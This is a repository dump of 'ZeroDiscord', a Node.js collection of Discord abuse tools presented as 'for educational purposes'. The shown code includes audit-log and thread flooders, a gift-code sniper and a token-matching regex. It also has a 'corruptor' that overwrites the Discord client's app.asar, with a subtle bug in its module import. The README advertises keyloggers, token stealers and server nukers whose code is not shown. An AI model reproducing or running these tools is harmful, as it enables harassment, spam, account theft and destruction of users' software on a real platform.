├── .gitignore ├── 247Account ├── .env ├── README.md └── index.js ├── DCEImporter ├── README.md └── index.js ├── LICENSE ├── README.md ├── aioDiscordSniper ├── README.md ├── index.js └── plugins │ ├── discordNitro.js │ ├── discordServersInvites.js │ └── discordTokens.js ├── auditLogFlooder ├── README.md └── index.js ├── automaticStatusMessageChanger ├── README.md ├── index.js └── messages.txt ├── channelMassThreader ├── README.md └── index.js ├── channelMessagesImporter ├── README.md └── index.js ├── channelMessagesSaver ├── README.md └── index.js ├── corruptor ├── README.md └── index.js ├── demonstrations └── bypassDiscordChatLimit │ ├── README.md │ └── index.js ├── disabler ├── README.md └── index.js ├── discordServerBackup ├── README.md └── index.js ├── extra ├── Bypassing verification needed by phone.txt ├── Fastest way to get your account token.txt ├── How to enable edit mode.txt ├── How to make multipe Discord accounts with the same email.txt ├── Using any emoji in any Discord server without nitro.txt ├── Using emoji on other servers without nitro.txt └── ways to nuke discord servers │ ├── The backstabber.txt │ ├── The buddha.txt │ ├── The genius.txt │ ├── The risky.txt │ └── The smarty.txt ├── hypeSquadChanger ├── README.md └── index.js ├── index.js ├── invisibleMention ├── README.md └── index.js ├── inviteCodeServerInfo ├── README.md └── index.js ├── keylogger ├── README.md └── index.js ├── massAddFriend ├── README.md └── index.js ├── massDM ├── README.md ├── index.js └── message.txt ├── massWebhooksDeleter ├── README.md └── index.js ├── messageAll ├── README.md └── index.js ├── multiLineSpammer ├── README.md └── index.js ├── nitroGenerator&Checker ├── README.md └── index.js ├── nukers ├── NuclearNuke │ ├── README.md │ └── index.js └── Oex │ ├── README.md │ └── index.js ├── package-lock.json ├── package.json ├── purgeSEmojis ├── README.md └── index.js ├── purifier ├── README.md ├── database.json └── index.js ├── serverInformationGrabber ├── README.md └── index.js ├── serverMBS ├── README.md └── index.js ├── serverMI ├── README.md └── index.js ├── serverUPD ├── README.md └── index.js ├── staticTokenGrabber ├── README.md └── index.js ├── tokenGenerator&Checker ├── README.md └── index.js ├── tokenProtector ├── README.md └── index.js ├── tokenStealer ├── README.md └── index.js ├── tokenStealerSpider ├── README.md └── index.js ├── userInformationGrabber ├── README.md └── index.js ├── usersBIOScraper ├── README.md └── index.js └── webhookSpammer ├── README.md └── index.js /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules -------------------------------------------------------------------------------- /247Account/.env: -------------------------------------------------------------------------------- 1 | TOKEN= -------------------------------------------------------------------------------- /247Account/README.md: -------------------------------------------------------------------------------- 1 | # 247Account 2 | A simple code that runs your Discord account 24/7 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i dotenv express discord.js-selfbot-v13 8 | ``` 9 | 10 | ## Setup 11 | Alternatively, if you want to host it on your PC, simply add your token to the **.env** file **TOKEN** variable. 12 | 13 | ## Hosting 14 | 1. Create an account in Replit. https://replit.com. 15 | 2. Create a project in **NodeJS**, then drag the files from **247Account** onto the project. 16 | 3. Create an environment variable called **TOKEN** in Replit settings, then put your Discord account token there then run it. 17 | 4. Create an account on UptimeRobot. https://uptimerobot.com/ 18 | 5. Add a new **site** then put the project production URL there (Make sure it pings every 5 minutes) then save it. 19 | 6. You're good to go, just leave the Replit project alone and your account should be online even If your PC is off. 20 | 21 | ## Usage 22 | ``` 23 | node index.js 24 | ``` -------------------------------------------------------------------------------- /247Account/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | require("dotenv").config() 4 | 5 | // Dependencies 6 | const discord = require("discord.js-selfbot-v13") 7 | const express = require("express") 8 | 9 | // Variables 10 | const web = express() 11 | const port = process.env.PORT || 8080 12 | 13 | const token = process.env.TOKEN 14 | const user = new discord.Client() 15 | 16 | // Main 17 | ///* Web 18 | web.use("", (req, res)=>res.send("Ping.")) 19 | 20 | ///* Discord 21 | user.on("ready", ()=>{ 22 | user.user.setPresence({ status: "online" }) 23 | console.log("The account is now online. Make sure to use a hoster that runs 24/7") 24 | }) 25 | 26 | ///* Listeners 27 | web.listen(port, ()=>console.log(`Server is running. Port: ${port}`)) 28 | user.login(token) -------------------------------------------------------------------------------- /DCEImporter/README.md: -------------------------------------------------------------------------------- 1 | # DCEImporter 2 | DiscordChatExporter exported messsages (JSON) importer. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i request-async fs 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - webhookLink - The webhook link to use. 16 | - message - The file that contains messages exported using "DiscordChatExporter" (JSON). -------------------------------------------------------------------------------- /DCEImporter/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const request = require("request-async") 5 | const fs = require("fs") 6 | 7 | // Variables 8 | const args = process.argv.slice(2) 9 | 10 | var index = 0 11 | var messages; 12 | 13 | // Functions 14 | async function importMessages(){ 15 | const message = messages[index] 16 | 17 | try{ 18 | var response = await request.post(args[0], { 19 | headers: { 20 | "content-type": "application/json" 21 | }, 22 | body: JSON.stringify({ username: message.author.name, avatar_url: message.author.avatarUrl, content: message.content }) 23 | }) 24 | 25 | response = JSON.parse(response.body) 26 | 27 | if(response.hasOwnProperty("retry_after")){ 28 | console.log(`Retrying after ${response.retry_after} ms`) 29 | 30 | return setTimeout(function(){importMessages()}, response.retry_after) 31 | } 32 | }catch{} 33 | 34 | if(index === messages.length) return console.log("Finished!") 35 | 36 | console.log("A message has been imported.") 37 | index++ 38 | importMessages() 39 | } 40 | 41 | // Main 42 | if(!args.length) return console.log("usage: node index.js ") 43 | if(!fs.existsSync(args[1])) return console.log('The file that contains messages exported from "channelMessagesSaver" is invalid.') 44 | 45 | messages = JSON.parse(fs.readFileSync(args[1], "utf8")).messages 46 | 47 | console.log("Importing the messages, please wait.") 48 | importMessages() -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2022 CSPI 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 |

ZeroDiscord

3 |

A collection of Discord hacks, exploits & tools that is completely made using NodeJS

4 |
5 | 6 | ## Before using any of these tools 7 | First off, all of the tools here are for educational & testing purposes only. Automating your Discord account violates [Discord's Terms of Service](https://discord.com/tos) and can lead to you being ratelimited, disabled, or terminated.
8 |
Do **not** over-use these tools as, again, it will lead to ratelimits, account being disabled, or even terminated. 9 | 10 | ## Tools 11 | | Name | Description | OS | 12 | | ---- | ----------- | -- | 13 | | massAddFriend | Send mass friend requests to server members. | Any | 14 | | 247Account | A simple code that runs your Discord account 24/7 | Any | 15 | | aioDiscordSniper | A fast, flexible & extensible Discord sniper. | Any | 16 | | auditLogFlooder | Flood any Discord server audit log by sending junk invite links. | Any | 17 | | automaticStatusMessageChanger | The name already explains it. | Any | 18 | | channelMassThreader | A channel mass threader or a channel flooder via threads. | Any | 19 | | channelMessagesSaver | Saves specific amount of messages of a Discord channel. | Any | 20 | | corruptor | Corrupts your Discord. | Windows | 21 | | demonstrations/bypassDiscordChatLimit | Simple demonstration to bypass Discord chat limit (Kinda). | Any | 22 | | disabler (Patched) | Discord account disabler. | Any | 23 | | invisibleMention | Mention the specified user invisibly. | Any | 24 | | inviteCodeServerInfo | Discord server invite code server information grabber. | Any | 25 | | keylogger | 100% undetectable keylogger. | Windows | 26 | | massWebhooksDeleter | Mass webhooks deleter. | Any | 27 | | messageAll | Send's your desire message to everyone in the current server. | Any | 28 | | multiLineSpammer | Spams a lot's of new lines in the specified Discord server channel. | Any | 29 | | nitroGenerator&Checker | Blazing fast Discord nitro generator, checker & auto claim. | Any | 30 | | nukers/NuclearNuke | Simple yet powerful & fast Discord server nuker. | Any | 31 | | serverInformationGrabber | The name already explains it. | Any | 32 | | staticTokenGrabber (Patched) | 100% undetectable static Discord token grabber. | Windows | 33 | | tokenGenerator&Checker | The name already explains it. | Any | 34 | | tokenProtector | A simple but effective Discord token protector. | Windows | 35 | | tokenStealer (Patched) | 100% Undetectable Discord token stealer. | Windows | 36 | | tokenStealerSpider (Patched) | 100% Undetectable Discord token stealer spider. | Windows | 37 | | userInformationGrabber | Grab's the specified user (ID) information Including account connections. | Any | 38 | | webhookSpammer | A really fast webhook message spammer. | Any | 39 | | usersBIOScraper | Scrapes the given Discord users id BIO. | Any | 40 | | hypeSquadChanger | Account hypesquad changer. | Any | 41 | | purifier | Finds malicious files in your Discord directories, this is really useful If something is happening with your account without you doing or If someone injected a malicious code in your Discord. | Windows | 42 | | channelMessagesImporter | Import messages to a channel from the exported messages from channelMessagesSaver. | Any | 43 | | serverMI | Server members id scraper. | Any | 44 | | discordServerBackup | A simple bot to backup your Discord servers. | Any | 45 | | Oex | Just a nuker that aims for SPEED. | Any | 46 | | DCEImporter | DiscordChatExporter exported messsages (JSON) importer. | Any | 47 | | serverUPD | Server members profile pictures downloader. | Any | 48 | | serverMBS | Server members bio scraper. | Any | 49 | | massDM | Better messageAll with 1 sec delay every DM. | Any | 50 | | purgeSEmojis | Easily purge your Discord server emojis with one command. | Any | 51 | 52 | ## License 53 | MIT © CSPI 54 | 55 |
-------------------------------------------------------------------------------- /aioDiscordSniper/README.md: -------------------------------------------------------------------------------- 1 | # aioDiscordSniper 2 | A fast, flexible & extensible Discord sniper. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i discord.js-selfbot 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - token - The Discord account token to use. -------------------------------------------------------------------------------- /aioDiscordSniper/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const discord = require("discord.js-selfbot") 5 | const fs = require("fs") 6 | 7 | // Variables 8 | const token = process.argv.slice(2)[0] 9 | const user = new discord.Client() 10 | 11 | const plugins = fs.readdirSync("./plugins").map((f) => `./plugins/${f}`) 12 | 13 | // Main 14 | if(!token) return console.log("usage: node index.js ") 15 | 16 | user.on("ready", ()=>{ 17 | console.log("AIO Sniper is running.") 18 | }) 19 | 20 | user.on("message", (message)=>{ 21 | for( const plugin of plugins ) require(plugin)({ message: message, token: token }) 22 | }) 23 | 24 | user.login(token) -------------------------------------------------------------------------------- /aioDiscordSniper/plugins/discordNitro.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const request = require("request-async") 5 | 6 | // Main 7 | async function check(config){ 8 | var message = config.message 9 | 10 | if(message.content.indexOf("discord.gift") !== -1 || message.content.indexOf(".com/gift") !== -1){ 11 | try{ 12 | message = message.content.split("/") 13 | 14 | const code = message[message.length-1] 15 | 16 | console.log(`Discord nitro code found: ${code}`) 17 | 18 | request.post(`https://discordapp.com/api/v6/entitlements/gift-codes/${code}/redeem`, { 19 | headers: { 20 | "Authorization": config.token 21 | } 22 | }, function(err, res, body){ 23 | if(err) return console.log(`Unable to redeem Discord nitro code: ${code}`) 24 | 25 | if(body.indexOf("radeemed already") !== -1){ 26 | console.log(`Nitro code ${code} is already redeemed.`) 27 | }else if(body.indexOf("nitro") !== -1){ 28 | console.log(`Nitro code ${code} claimed.`) 29 | }else{ 30 | console.log(`Unknown nitro code: ${code}`) 31 | } 32 | }) 33 | }catch{} 34 | } 35 | } 36 | 37 | module.exports = check -------------------------------------------------------------------------------- /aioDiscordSniper/plugins/discordServersInvites.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Main 4 | function check(config){ 5 | const serversInvites = config.message.content.match(/discord.com.[\w-]{8,}|discord.gg.[\w-]{8,}/g) 6 | 7 | if(serversInvites) console.log(`Discord server invites found: ${serversInvites.toString().replace(",", ", ")}`) 8 | } 9 | 10 | //Exporter 11 | module.exports = check -------------------------------------------------------------------------------- /aioDiscordSniper/plugins/discordTokens.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Main 4 | function check(config){ 5 | const discordTokens = message.content.match(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}/g) 6 | 7 | if(discordTokens) console.log(`Discord tokens found: ${discordTokens.toString().replace(",", ", ")}`) 8 | } 9 | 10 | module.exports = check -------------------------------------------------------------------------------- /auditLogFlooder/README.md: -------------------------------------------------------------------------------- 1 | # auditLogFlooder 2 | Flood any Discord server audit log by sending junk invite links. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i argparse request-async delay 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | usage: index.js [-h] -ci CHANNELID -a AMOUNT -t TOKEN 13 | 14 | optional arguments: 15 | -h, --help show this help message and exit 16 | -ci CHANNELID, --channelID CHANNELID 17 | Any channel ID on the target server. 18 | -a AMOUNT, --amount AMOUNT 19 | The amount of junk log to send in the server's audit log. 20 | -t TOKEN, --token TOKEN 21 | Discord account token to use. 22 | ``` -------------------------------------------------------------------------------- /auditLogFlooder/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const { ArgumentParser } = require("argparse") 5 | const request = require("request-async") 6 | const delay = require("delay") 7 | 8 | // Variables 9 | const parser = new ArgumentParser() 10 | 11 | var args; 12 | var index = 0 13 | 14 | // Functions 15 | async function spam(){ 16 | var response = await request.post(`https://discord.com/api/v9/channels/${args.channelID}/invites`, { 17 | headers: { 18 | "content-type": "application/json", 19 | authorization: args.token 20 | }, 21 | body: JSON.stringify({ max_age: Math.floor(Math.random() * 604800), max_uses: 0, temporary: false }) 22 | }) 23 | response = response.body 24 | 25 | if(response.indexOf("Unknown Channel") !== -1){ 26 | console.log("Invalid channelID.") 27 | process.exit() 28 | } 29 | 30 | if(response.indexOf("rate limited") !== -1){ 31 | console.log("Rate limited detected. Retrying in 2 seconds.") 32 | await delay(2000) 33 | return spam() 34 | } 35 | 36 | console.log("Junk log sent.") 37 | await delay(999) 38 | index++ 39 | 40 | if(index === args.amount){ 41 | console.log("Finished!") 42 | process.exit() 43 | } 44 | } 45 | 46 | // Main 47 | parser.add_argument("-ci", "--channelID", { help: "Any channel ID on the target server.", required: true }) 48 | parser.add_argument("-a", "--amount", { help: "The amount of junk log to send in the server's audit log.", required: true }) 49 | parser.add_argument("-t", "--token", { help: "Discord account token to use.", required: true }) 50 | 51 | args = parser.parse_args() 52 | args.amount = args.amount-1 53 | 54 | console.log("Sending the junk logs, please wait.") 55 | for( let i = 0; i <= args.amount; i++ ) spam() -------------------------------------------------------------------------------- /automaticStatusMessageChanger/README.md: -------------------------------------------------------------------------------- 1 | # automaticStatusMessageChanger 2 | The name already explains it. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i argparse discord.js-selfbot request-async delay 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | usage: index.js [-h] -m MESSAGES -d DELAY -t TOKEN 13 | 14 | optional arguments: 15 | -h, --help show this help message and exit 16 | -m MESSAGES, --messages MESSAGES 17 | The file path of the messages(Dictionary) to use. 18 | -d DELAY, --delay DELAY 19 | The delay to change your Discord status message(Seconds). 20 | -t TOKEN, --token TOKEN 21 | Discord account token to use. 22 | ``` -------------------------------------------------------------------------------- /automaticStatusMessageChanger/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const { ArgumentParser } = require("argparse") 5 | const discord = require("discord.js-selfbot-v13") 6 | const request = require("request-async") 7 | const delay = require("delay") 8 | const fs = require("fs") 9 | 10 | // Variables 11 | const parser = new ArgumentParser() 12 | const token = process.argv.slice(2)[0] 13 | const user = new discord.Client() 14 | 15 | var args; 16 | var index = 0 17 | 18 | // Main 19 | parser.add_argument("-m", "--messages", { help: "The file path of the messages(Dictionary) to use.", required: true }) 20 | parser.add_argument("-d", "--delay", { help: "The delay to change your Discord status message(Seconds).", required: true }) 21 | parser.add_argument("-t", "--token", { help: "Discord account token to use.", required: true }) 22 | 23 | args = parser.parse_args() 24 | 25 | if(!fs.existsSync(args.messages)) return console.log("Unable to find messages file path.") 26 | 27 | const messages = fs.readFileSync(args.messages, "utf8").replace(/\r/g, "").split("\n") 28 | 29 | user.on("ready", function(){ 30 | console.log("Status message changer is running.") 31 | 32 | setInterval(async function(){ 33 | if(index === messages.length) index = 0 34 | 35 | const response = await request.patch("https://discord.com/api/v9/users/@me/settings", { 36 | headers: { 37 | "content-type": "application/json", 38 | authorization: args.token 39 | }, 40 | body: JSON.stringify({ custom_status: { text: messages[index] } }) 41 | }) 42 | 43 | response.statusCode === 200 || response.body.indexOf('"locale":') !== -1 ? console.log(`Status has been changed to ${messages[index]}`) : console.log(`Unable to change status to ${messages[index]}`) 44 | 45 | index++ 46 | }, 1000 * args.delay) 47 | }) 48 | 49 | user.login(args.token) -------------------------------------------------------------------------------- /automaticStatusMessageChanger/messages.txt: -------------------------------------------------------------------------------- 1 | I like the taste of challenges, they're sweet. 2 | Do things fun, so you will be productive. 3 | Lazy people can't manage their time nor their works. -------------------------------------------------------------------------------- /channelMassThreader/README.md: -------------------------------------------------------------------------------- 1 | # channelMassThreader 2 | A channel mass threader or a channel flooder via threads. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i argparse request-async delay 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | usage: index.js [-h] -ci CHANNELID -a AMOUNT -tn THREADNAME -t TOKEN 13 | 14 | optional arguments: 15 | -h, --help show this help message and exit 16 | -ci CHANNELID, --channelID CHANNELID 17 | The target channel ID. 18 | -a AMOUNT, --amount AMOUNT 19 | The amount of thread to make. 20 | -tn THREADNAME, --threadName THREADNAME 21 | Thread name. 22 | -t TOKEN, --token TOKEN 23 | Discord account token to use. 24 | ``` -------------------------------------------------------------------------------- /channelMassThreader/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const { ArgumentParser } = require("argparse") 5 | const request = require("request-async") 6 | const delay = require("delay") 7 | 8 | // Variables 9 | const parser = new ArgumentParser() 10 | 11 | var args; 12 | var index = 0 13 | 14 | // Functions 15 | async function createThread(){ 16 | var response = await request.post(`https://discord.com/api/v9/channels/${args.channelID}/threads`, { 17 | headers: { 18 | "content-type": "application/json", 19 | authorization: args.token 20 | }, 21 | body: JSON.stringify({ name: args.threadName, type: 11, auto_archive_duration: 1440, location: "Thread Browser Toolbar" }) 22 | }) 23 | 24 | response = response.body 25 | 26 | if(response.indexOf('"archived": false') === -1){ 27 | console.log("Unable to create thread, retrying in 2 seconds.") 28 | await delay(2000) 29 | return createThread() 30 | } 31 | 32 | console.log("Thread created.") 33 | await delay(999) 34 | 35 | index++ 36 | if(index === args.amount){ 37 | console.log("Finished!") 38 | process.exit() 39 | } 40 | } 41 | 42 | // Main 43 | parser.add_argument("-ci", "--channelID", { help: "The target channel ID.", required: true }) 44 | parser.add_argument("-a", "--amount", { help: "The amount of thread to make.", required: true }) 45 | parser.add_argument("-tn", "--threadName", { help: "Thread name.", required: true }) 46 | parser.add_argument("-t", "--token", { help: "Discord account token to use.", required: true }) 47 | 48 | args = parser.parse_args() 49 | args.amount = args.amount-1 50 | 51 | console.log("Creating threads has started, please wait.") 52 | 53 | for( let i = 0; i <= args.amount; i++ ){ 54 | createThread() 55 | } -------------------------------------------------------------------------------- /channelMessagesImporter/README.md: -------------------------------------------------------------------------------- 1 | # channelMessagesImporter 2 | Import messages to a channel from the exported messages from channelMessagesSaver. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i request-async 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | usage: node index.js 13 | ``` 14 | 15 | - webhookLink - The webhook link to use. 16 | - message - The file that contains messages exported using "channelMessagesSaver". -------------------------------------------------------------------------------- /channelMessagesImporter/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const request = require("request-async") 5 | const fs = require("fs") 6 | 7 | // Variables 8 | const args = process.argv.slice(2) 9 | 10 | var index = 0 11 | var messages; 12 | 13 | // Functions 14 | async function importMessages(){ 15 | const message = messages[index] 16 | 17 | try{ 18 | var response = await request.post(args[0], { 19 | headers: { 20 | "content-type": "application/json" 21 | }, 22 | body: JSON.stringify({ username: message.username, avatar_url: message.avatar, content: message.message }) 23 | }) 24 | 25 | response = JSON.parse(response.body) 26 | 27 | if(response.hasOwnProperty("retry_after")){ 28 | console.log(`Retrying after ${response.retry_after} ms`) 29 | 30 | return setTimeout(function(){importMessages()}, response.retry_after) 31 | } 32 | }catch{} 33 | 34 | if(index === messages.length) return console.log("Finished!") 35 | 36 | console.log("A message has been imported.") 37 | index++ 38 | importMessages() 39 | } 40 | 41 | // Main 42 | if(!args.length) return console.log("usage: node index.js ") 43 | if(!fs.existsSync(args[1])) return console.log('The file that contains messages exported from "channelMessagesSaver" is invalid.') 44 | 45 | messages = JSON.parse(fs.readFileSync(args[1], "utf8")) 46 | 47 | console.log("Importing the messages, please wait.") 48 | importMessages() -------------------------------------------------------------------------------- /channelMessagesSaver/README.md: -------------------------------------------------------------------------------- 1 | # channelMessagesSaver 2 | Saves specific amount of messages of a Discord channel. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i argparse request-async delay 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | usage: index.js [-h] -ci CHANNELID -a AMOUNT -o OUTPUT [-i IMPORTABLE] 13 | -t TOKEN 14 | 15 | optional arguments: 16 | -h, --help show this help message and exit 17 | -ci CHANNELID, --channelID CHANNELID 18 | The target channel ID. 19 | -a AMOUNT, --amount AMOUNT 20 | The amount of messages to save. 21 | -o OUTPUT, --output OUTPUT 22 | The output file in where to save the messages. 23 | -i IMPORTABLE, --importable IMPORTABLE 24 | If "-i/--importable" value is true then the 25 | output will be saved in JSON that can be 26 | imported to a channel using 27 | "channelMessagesImporter". 28 | -t TOKEN, --token TOKEN 29 | Discord account token to use. 30 | ``` -------------------------------------------------------------------------------- /channelMessagesSaver/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const { ArgumentParser } = require("argparse") 5 | const request = require("request-async") 6 | const delay = require("delay") 7 | const fs = require("fs") 8 | 9 | // Variables 10 | const parser = new ArgumentParser() 11 | 12 | var messages = [] 13 | var args; 14 | var timeout = 0 15 | var endMessageID = 0 16 | 17 | // Functions 18 | async function getMessages(){ 19 | await delay(2000) 20 | 21 | if(messages.length > args.amount){ 22 | console.log("Saving the messages, please wait.") 23 | 24 | messages = messages.slice(0, args.amount) 25 | args.importable ? fs.writeFileSync(args.output, JSON.stringify(messages, null, 2), "utf8") : fs.writeFileSync(args.output, messages.join("\n"), "utf8") 26 | 27 | return console.log("Finished!") 28 | } 29 | 30 | var response = await request(endMessageID ? `https://discord.com/api/v9/channels/${args.channelID}/messages?before=${endMessageID}&limit=100` : `https://discord.com/api/v9/channels/${args.channelID}/messages?limit=100`, { 31 | headers: { 32 | authorization: args.token 33 | } 34 | }) 35 | 36 | response = JSON.parse(response.body) 37 | 38 | try{ 39 | for( const message of response ) if(message.content) args.importable ? messages.push({ username: message.author.username, avatar: `https://cdn.discordapp.com/avatars/${message.author.id}/${message.author.avatar}`, tag: message.author.discriminator, id: message.author.id, message: message.content }) : messages.push(`[${message.author.username}#${message.author.discriminator}][${message.author.id}][${message.timestamp}] ${message.content}`) 40 | 41 | endMessageID = response[response.length-1].id 42 | 43 | console.log(`${messages.length} messages scraped.`) 44 | getMessages() 45 | }catch(err){ 46 | if(timeout === 2){ 47 | console.log("Error detected. Saving current messages.") 48 | 49 | messages = messages.slice(0, args.amount) 50 | args.importable ? fs.writeFileSync(args.output, JSON.stringify(messages, null, 2), "utf8") : fs.writeFileSync(args.output, messages.join("\n"), "utf8") 51 | 52 | console.log("Messages saved.") 53 | return console.log(err) 54 | } 55 | 56 | console.log("Rate limit detected. Retrying after 4 seconds.") 57 | 58 | timeout++ 59 | await delay(4000) 60 | getMessages() 61 | } 62 | } 63 | 64 | //Main 65 | parser.add_argument("-ci", "--channelID", { help: "The target channel ID.", required: true }) 66 | parser.add_argument("-a", "--amount", { help: "The amount of messages to save.", required: true }) 67 | parser.add_argument("-o", "--output", { help: "The output file in where to save the messages.", required: true }) 68 | parser.add_argument("-j", "--JsonFormatting", { help: 'If "-j/--JsonFormatting" value is true then the output will be saved in JSON that can be imported to a channel using "channelMessagesImporter".' }) 69 | parser.add_argument("-t", "--token", { help: "Discord account token to use.", required: true }) 70 | 71 | args = parser.parse_args() 72 | 73 | console.log("Scraping the channel messages, please wait.") 74 | getMessages() -------------------------------------------------------------------------------- /corruptor/README.md: -------------------------------------------------------------------------------- 1 | # corruptor 2 | Corrupts your Discord. 3 | 4 | ## Usage 5 | ``` 6 | node index.js 7 | ``` -------------------------------------------------------------------------------- /corruptor/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const os = require("fs") 5 | const fs = require("fs") 6 | 7 | // Variables 8 | const root = `C:\\Users\\${os.userInfo().username}\\AppData\\Local\\Discord` 9 | const files = fs.readdirSync(root) 10 | 11 | // Main 12 | for( const file of files ) if(file.indexOf("app-") !== -1) fs.writeFileSync(`${root}\\${file}\\resources\\app.asar`, ":P", "utf8") -------------------------------------------------------------------------------- /demonstrations/bypassDiscordChatLimit/README.md: -------------------------------------------------------------------------------- 1 | # bypassDiscordChatLimit 2 | Simple demonstration to bypass Discord chat limit (Kinda). 3 | 4 | ## Usage 5 | ``` 6 | node index.js 7 | ``` 8 | 9 | - channelID - The target channel ID. 10 | - token - The Discord account token. -------------------------------------------------------------------------------- /demonstrations/bypassDiscordChatLimit/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const request = require("request-async") 5 | 6 | // Variables 7 | const args = process.argv.slice(2) 8 | const payload = "LLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\nLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLrLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\r